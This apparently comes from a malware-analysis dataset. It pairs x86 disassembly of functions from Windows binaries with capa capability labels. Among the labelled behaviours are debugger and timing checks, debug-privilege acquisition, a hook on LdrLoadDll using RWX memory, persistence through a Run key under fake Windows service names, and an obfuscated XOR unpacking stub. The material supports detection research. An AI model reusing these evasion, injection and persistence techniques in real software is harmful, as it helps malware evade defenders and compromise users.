joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005490
Capabilities:
Create thread

Disassembly:
cmp dword [0x1001fc68], 0
je 0x100054d6
mov eax, dword [0x1001fc00]
push 0x10024d2c
mov dword [0x1001a660], eax
xor eax, eax
push eax
push 0x1001a65c
push 0x100055c0
push eax
push eax
mov dword [0x1001a668], eax
mov dword [0x1001a66c], eax
mov dword [0x1001a670], eax
mov dword [0x1001a674], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1001a664], eax
ret

Function at 0x100054e0
Capabilities:
Check for time delay via gettickcount

Disassembly:
cmp dword [0x1001fc88], 0
je 0x100054fd
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ecx, dword [0x1001fc88]
cmp eax, dword [ecx]
jne case.0x10005533.0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
sub eax, dword [esi*4 + 0x1001a668]
cmp eax, 0x1388
jb 0x10005528
call edi
mov dword [esi*4 + 0x1001a668], eax
mov dword [esi*4 + 0x1001a670], 0
mov eax, dword [0x1001fc6c]
pop edi
cmp eax, 5
ja case.default.0x10005533
jmp dword [eax*4 + 0x100055a0]
inc dword [esi*4 + 0x1001a670]
cmp dword [esi*4 + 0x1001a670], 0x19
jmp 0x1000558d
inc dword [esi*4 + 0x1001a670]
cmp dword [esi*4 + 0x1001a670], 0x14
jmp 0x1000558d
inc dword [esi*4 + 0x1001a670]
cmp dword [esi*4 + 0x1001a670], 0xf
jmp 0x1000558d
inc dword [esi*4 + 0x1001a670]
cmp dword [esi*4 + 0x1001a670], 0xa
jmp 0x1000558d
inc dword [esi*4 + 0x1001a670]
cmp dword [esi*4 + 0x1001a670], 5
jbe case.0x10005533.0
push 0
push 0
push 9
call fcn.10003000
add esp, 0xc
ret

Function at 0x10005770
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SOFTWAREWebzenMuConfig
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100057e3
lea ecx, [ebp - 8]
push ecx
push 0x1001fdac
lea edx, [ebp - 0xc]
push edx
push eax
mov eax, dword [ebp - 4]
push str.LangSelection
push eax
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0x10
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x100057d9
push 0x100138a4
push 0x10
push 0x1001fdac
call dword [sym.imp.MSVCR100.dll_strcpy_s]
add esp, 0xc
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x10005b00
Capabilities:
Get process image filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x45c
mov eax, dword [0x10016018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10005c24
push 0x104
lea eax, [ebp - 0x418]
push eax
push esi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x10005c1d
lea ecx, [ebp - 0x210]
push ecx
lea ecx, [ebp - 0x418]
call fcn.1000a7c0
add esp, 4
test al, al
je 0x10005c1d
lea edx, [ebp - 0x210]
push edx
lea ecx, [ebp - 0x458]
call fcn.10004ce0
test al, al
jne 0x10005ba4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
lea eax, [ebp - 0x458]
push eax
push 1
call fcn.10003000
add esp, 0xc
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000da3b
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x210]
push ecx
lea ecx, [ebp - 0x458]
call fcn.10004fb0
test al, al
jne 0x10005be4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
lea edx, [ebp - 0x458]
push edx
push 2
call fcn.10003000
add esp, 0xc
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000da3b
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x210]
call fcn.10003910
test al, al
jne 0x10005c1d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
lea eax, [ebp - 0x458]
push eax
push 5
call fcn.10003000
add esp, 0xc
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000da3b
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov al, 1
pop esi
call fcn.1000da3b
mov esp, ebp
pop ebp
ret

Function at 0x10005fc0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.1000e3f0
mov eax, dword [0x10016018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x100c]
push eax
push 0x1000
lea ecx, [ebp - 0x1008]
xor ebx, ebx
push ecx
mov dword [ebp - 0x100c], ebx
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
jne 0x10006012
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000da3b
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x100c]
shr eax, 2
mov dword [ebp - 0x1010], eax
cmp eax, ebx
jle 0x10006083
mov esi, dword [ebp + ebx*4 - 0x1008]
test esi, esi
je 0x1000607e
lea edi, [ebp - 0x1018]
call fcn.10006390
test al, al
jne 0x10006078
mov dword [ebp - 0x1018], esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push esi
mov dword [ebp - 0x1014], eax
call fcn.10006410
mov ecx, dword [ebp + ebx*4 - 0x1008]
call fcn.100060a0
test al, al
je 0x10005fff
mov edi, dword [ebp + ebx*4 - 0x1008]
call fcn.10005b00
test al, al
je 0x10005fff
mov eax, dword [ebp - 0x1010]
inc ebx
cmp ebx, eax
jl 0x10006025
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.1000da3b
mov esp, ebp
pop ebp
ret
Function at 0x10007e70
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10014458
push 0x1000df04
mov eax, dword fs:[0]
push eax
sub esp, 0x144
mov eax, dword [0x10016018]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x20], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14c], eax
push ecx
push str..PhysicalDrive_d
lea edx, [ebp - 0x12c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
xor esi, esi
push esi
push esi
push 3
push esi
push 3
push esi
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x148], edi
cmp edi, 0xffffffff
je 0x10008022
xor eax, eax
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x138], esi
mov dword [ebp - 0x134], esi
push esi
lea ecx, [ebp - 0x150]
push ecx
push 8
lea edx, [ebp - 0x140]
push edx
push 0xc
lea eax, [ebp - 0x138]
push eax
push 0x2d1400
push edi
mov ebx, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
call ebx
test eax, eax
jne 0x10007f54
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10008022
mov ecx, dword [ebp - 0x13c]
push ecx
call fcn.1000da30
mov esi, eax
mov dword [ebp - 0x144], esi
mov edx, dword [ebp - 0x13c]
push edx
push 0
push esi
call sub.MSVCR100.dll_memset
add esp, 0x10
push 0
lea eax, [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x13c]
push ecx
push esi
push 0xc
lea edx, [ebp - 0x138]
push edx
push 0x2d1400
push edi
call ebx
test eax, eax
jne 0x10007fb3
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
jmp 0x10008022
mov eax, dword [esi + 0x18]
test eax, eax
je 0x10007fa0
mov dword [ebp - 4], 0
add eax, esi
push eax
push 0x100
mov eax, dword [ebp - 0x14c]
push eax
call dword [sym.imp.MSVCR100.dll_strcpy_s]
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
mov dword [ebp - 4], 0xfffffffe
mov al, 1
jmp 0x10008024
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.1000da3b
mov esp, ebp
pop ebp
ret
Function at 0x100083c0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000e728
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
mov eax, dword [0x10016018]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov eax, dword fs:[0x30]
movzx ecx, byte ds:[eax + 2]
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], ebx
je 0x1000841e
push ebx
push ebx
push 0xa
call fcn.10003000
add esp, 0xc
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x20], vtable.CProcessQuery.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
push 2
push 0x23
lea esi, [ebp - 0x20]
mov dword [ebp - 4], ebx
call fcn.100078a0
test al, al
mov eax, dword [ebp - 0x1c]
je 0x10008477
cmp eax, ebx
je 0x1000848a
cmp byte [eax], bl
je 0x10008477
cmp byte [eax + 1], bl
jne 0x10008477
push ebx
push ebx
push 0xa
call fcn.10003000
add esp, 0xc
mov ecx, esi
call fcn.10007860
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp eax, ebx
je 0x1000848a
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100089d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push str.LdrLoadDll
xor ebx, ebx
push str.Ntdll.dll
mov dword [ebp - 0xc], 0x25ff
mov word [ebp - 8], bx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
cmp esi, ebx
jne 0x10008a0a
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 6
push 0x1001fc0c
call edi
mov ecx, dword [esi]
mov dword [0x1001fc0c], ecx
mov ecx, dword [ebp - 4]
mov dx, word [esi + 4]
lea eax, [ebp - 4]
push eax
push ecx
push 6
push 0x1001fc0c
mov word [0x1001fc10], dx
call edi
lea edx, [ebp - 4]
push edx
push 0x40
push 6
push esi
call edi
mov eax, dword [ebp - 0xc]
mov cx, word [ebp - 8]
mov dword [esi], eax
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
push 6
push esi
mov word [esi + 4], cx
call edi
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000ae00
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10016018]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1000ae37
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000da3b
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x20]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000ae27
mov edx, dword [ebp - 0x20]
push 0
push 0
xor eax, eax
push 0x10
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x10], eax
push ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 0x18]
push 0
push edx
mov dword [ebp - 0x14], 1
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.1000da3b
mov esp, ebp
pop ebp
ret

Function at 0x1000b8e0
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [0x1001a414]
push edi
cmp esi, dword [0x1001a418]
je 0x1000b9ae
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
nop
cmp byte [esi], 2
jne 0x1000b91e
lea eax, [ebp - 4]
push eax
lea ecx, [esi + 1]
push ecx
xor ebx, ebx
push closesocket
mov dword [ebp - 4], ebx
call edi
cmp dword [ebp - 4], ebx
jne 0x1000b933
add esi, 0x105
cmp esi, dword [0x1001a418]
jne 0x1000b900
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x1001a418]
mov esi, dword [0x1001a414]
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x1000b996
xor edi, edi
cmp byte [edi + esi], 2
jne 0x1000b972
lea ecx, [edi + esi + 1]
push ecx
push closesocket
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov esi, dword [0x1001a414]
mov ecx, dword [0x1001a418]
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
inc ebx
add eax, edx
add edi, 0x105
cmp ebx, eax
jb 0x1000b956
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0
push 6
call fcn.10003000
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], 0
mov dword [ebp - 0x38], str.Microsoft_Windows_Update_Service
mov dword [ebp - 0x34], str.Host_Process_for_Windows_Services
mov dword [ebp - 0x30], str.Microsoft_Windows_Manager
mov dword [ebp - 0x2c], str.Desktop_Window_Manager
mov dword [ebp - 0x28], str.WinCfgMgr
mov dword [ebp - 0x24], str.Windows_Update_Service_Manager
mov dword [ebp - 0x20], str.Microsoft_Windows_Update_Services
mov dword [ebp - 0x1c], str.Microsoft_Update_495036
mov dword [ebp - 0x18], str.Microsoft_Windows_Service_Installer
mov dword [ebp - 0x14], str.Microsoft_Windows_Driver_Configuration
mov dword [ebp - 0x10], str.Microsoft_Windows_Installer_Svc
mov dword [ebp - 0xc], str.Windows_Security_Manager
mov dword [ebp - 8], str.Microsoft_Windows_Service
lea eax, [ebp - 4]
push eax
push 2
push 0
push 0x40233c
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x4010d0
mov dword [ebp - 0x44], 0
jmp 0x4010a6
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov dword [ebp - 0x44], ecx
cmp dword [ebp - 0x44], 0x34
jae 0x4010c3
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp + edx*4 - 0x38]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov dword [ebp - 0x3c], eax
jmp 0x40109d
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 4]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x40113a
mov dword [ebp - 0x48], 0
jmp 0x401103
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x48], 0x34
jae 0x401120
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp + edx*4 - 0x38]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov dword [ebp - 0x40], eax
jmp 0x4010fa
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x40], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.100080c7
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100080c7
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.100080c7
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.100080c7
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.100080c7
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.100080c7
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.100080c7
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.100080c7
push 0xd008
push edi
call fcn.100080c7
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.100080c7
int3

Function at 0x100080c7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x100080d6
pop dword [ebp - 0x18]
mov eax, 0xab5f31df
sub eax, 0x9b5eb109
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x37ba6
push 0
mov eax, 0xd858ad00
sub eax, 0xc8576c9c
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0xa73b912f
add ecx, 0x58c4b1b8
xor edi, edi
add edi, eax
mov esi, 0x10018600
add esi, dword [ebp - 0x18]
mov ebx, 0x7d0e5251
xor dword [ebp - 0x10], 0x9ff62ecc
mov edx, dword [esi]
xor dword [ebp - 0xc], ebx
add edx, ebx
sub dword [ebp - 8], 0x3b427879
mov dword [edi], edx
add dword [ebp - 8], 0x2309fe7c
add edi, 0xd7d1f2f8
sub edi, 0xd7d1f2f4
add esi, 0x1b2e480d
add esi, 0xe4d1b7f7
loop 0x1000812b
add eax, 0xfe6f
mov ebx, eax
add eax, 0x422f3f50
add eax, 0xbdd0c0b5
mov ecx, 0x10bb9854
add ecx, 0xff4467ac
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x10016a74
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftDirect3D
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x10016acd
push esi
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0x10]
lea eax, [ebp + 0x10]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
jne 0x10016acd
mov eax, dword [ebp + 0x10]
cmp eax, dword [ebp + 8]
jne 0x10016acd
xor eax, eax
inc eax
jmp 0x10016acf
xor eax, eax
leave
ret 0x10
Function at 0x10016cd0
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
mov ebx, ecx
mov eax, dword [ebx + 0x10]
sub eax, 0
push esi
push edi
je 0x10016e69
dec eax
je 0x10016d7a
dec eax
je 0x10016cff
mov eax, 0x80004005
jmp 0x10016e6b
mov eax, dword [ebx + 0x14]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x10]
mov edx, dword [ebx + 0x20]
mov ecx, dword [ebp + 0xc]
add edx, ecx
cmp edx, eax
jbe 0x10016d49
mov eax, dword [ebx + 0x14]
mov edx, dword [ebx + 0x20]
lea esi, [edx + ecx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x10]
shl eax, 1
cmp esi, eax
jbe 0x10016d2d
mov eax, esi
jmp 0x10016d38
mov eax, dword [ebx + 0x14]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x10]
shl eax, 1
mov ecx, dword [ebx + 0x14]
push eax
call fcn.10032674
test eax, eax
jl 0x10016e6b
mov eax, dword [ebx + 0x14]
mov ecx, dword [eax]
mov esi, dword [ebp + 8]
push eax
call dword [ecx + 0xc]
mov edi, eax
mov eax, dword [ebp + 0xc]
add edi, dword [ebx + 0x20]
mov ecx, eax
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
add dword [ebx + 0x20], eax
jmp 0x10016e69
mov edx, dword [ebx + 0x1c]
mov ecx, dword [ebp + 0xc]
lea esi, [edx + ecx]
mov eax, 0x10000
cmp esi, eax
ja 0x10016daa
mov edi, dword [ebx + 0x18]
mov esi, dword [ebp + 8]
mov eax, ecx
shr ecx, 2
add edi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
add dword [ebx + 0x1c], eax
jmp 0x10016e64
cmp edx, eax
je 0x10016dd8
test edx, edx
je 0x10016dd8
mov edi, dword [ebx + 0x18]
mov esi, dword [ebp + 8]
add edi, edx
mov ecx, eax
sub ecx, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edx, dword [ebx + 0x1c]
mov ecx, dword [ebp + 8]
sub ecx, edx
add ecx, eax
jmp 0x10016ddb
mov ecx, dword [ebp + 8]
test edx, edx
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp + 8], ecx
je 0x10016e0f
push 0
push dword [ebp + 0x10]
push eax
push dword [ebx + 0x18]
push dword [ebx]
call edi
test eax, eax
je 0x10016cf5
mov eax, 0x10000
add dword [ebx + 0x20], eax
sub eax, dword [ebx + 0x1c]
and dword [ebx + 0x1c], 0
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp - 4]
shr eax, 0x10
je 0x10016e3d
push 0
push dword [ebp + 0x10]
shl eax, 0x10
mov esi, eax
push esi
push dword [ebp + 8]
push dword [ebx]
call edi
test eax, eax
je 0x10016cf5
add dword [ebx + 0x20], esi
add dword [ebp - 4], esi
add dword [ebp + 8], esi
mov eax, dword [ebp + 0xc]
cmp dword [ebp - 4], eax
jae 0x10016e61
sub eax, dword [ebp - 4]
mov edi, dword [ebx + 0x18]
mov esi, dword [ebp + 8]
mov ecx, eax
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx + 0x1c], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x10016e72
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov eax, dword [esi + 0x10]
sub eax, 0
je 0x10016eb7
dec eax
je 0x10016e90
dec eax
je 0x10016eb7
mov eax, 0x80004005
jmp 0x10016eb9
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x10016eb7
push 0
lea ecx, [ebp - 4]
push ecx
push eax
push dword [esi + 0x18]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10016e89
mov eax, dword [esi + 0x1c]
add dword [esi + 0x20], eax
and dword [esi + 0x1c], 0
xor eax, eax
pop esi
leave
ret

Function at 0x1001b980
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x18]
imul eax, edi
add eax, edx
cmp edx, eax
mov dword [ebp - 0x14], eax
jae 0x1001baa3
mov eax, dword [ebp + 0x10]
lea eax, [edx + eax*4]
push ebx
push esi
mov dword [ebp + 0x14], eax
mov esi, 0xffc03fc0
mov eax, 0xff00ff
cmp edx, dword [ebp + 0x14]
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], ecx
jae 0x1001ba87
mov ebx, dword [ebp + 0x14]
sub ebx, edx
dec ebx
shr ebx, 3
lea ecx, [edx + 4]
inc ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ebx
mov edx, dword [ecx + edi]
mov edi, dword [edi + ecx - 4]
mov dword [ebp - 8], edi
shr edi, 2
and edi, esi
mov dword [ebp + 0x10], edx
mov edx, dword [ecx]
mov ecx, dword [ecx - 4]
mov ebx, ecx
shr ebx, 2
and ebx, esi
add ebx, edi
mov edi, dword [ebp + 0x10]
shr edi, 2
and edi, esi
add ebx, edi
mov edi, edx
shr edi, 2
and edi, esi
lea ebx, [ebx + edi - 0x7fff80]
mov edi, dword [ebp - 8]
and edi, eax
mov esi, ecx
and esi, eax
add esi, edi
mov edi, dword [ebp + 0x10]
and edi, eax
add esi, edi
mov edi, edx
and edi, eax
lea esi, [esi + edi + 0x20002]
mov edi, dword [ebp - 8]
shr ecx, 2
shr esi, 2
xor ebx, esi
shr edi, 2
mov esi, 0x3fc03fc0
and ecx, esi
and edi, esi
add ecx, edi
mov edi, dword [ebp + 0x10]
shr edi, 2
and edi, esi
add ecx, edi
mov edi, dword [ebp + 0x18]
shr edx, 2
and edx, esi
lea ecx, [ecx + edx + 0x800080]
and ebx, eax
xor ebx, ecx
mov ecx, dword [ebp - 4]
add dword [ebp - 4], 4
mov dword [ecx], ebx
mov ecx, dword [ebp - 0xc]
add ecx, 8
dec dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
mov esi, 0xffc03fc0
jne 0x1001b9d9
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x1c]
add dword [ebp + 8], ecx
lea ecx, [edi + edi]
add dword [ebp + 0x14], ecx
add edx, ecx
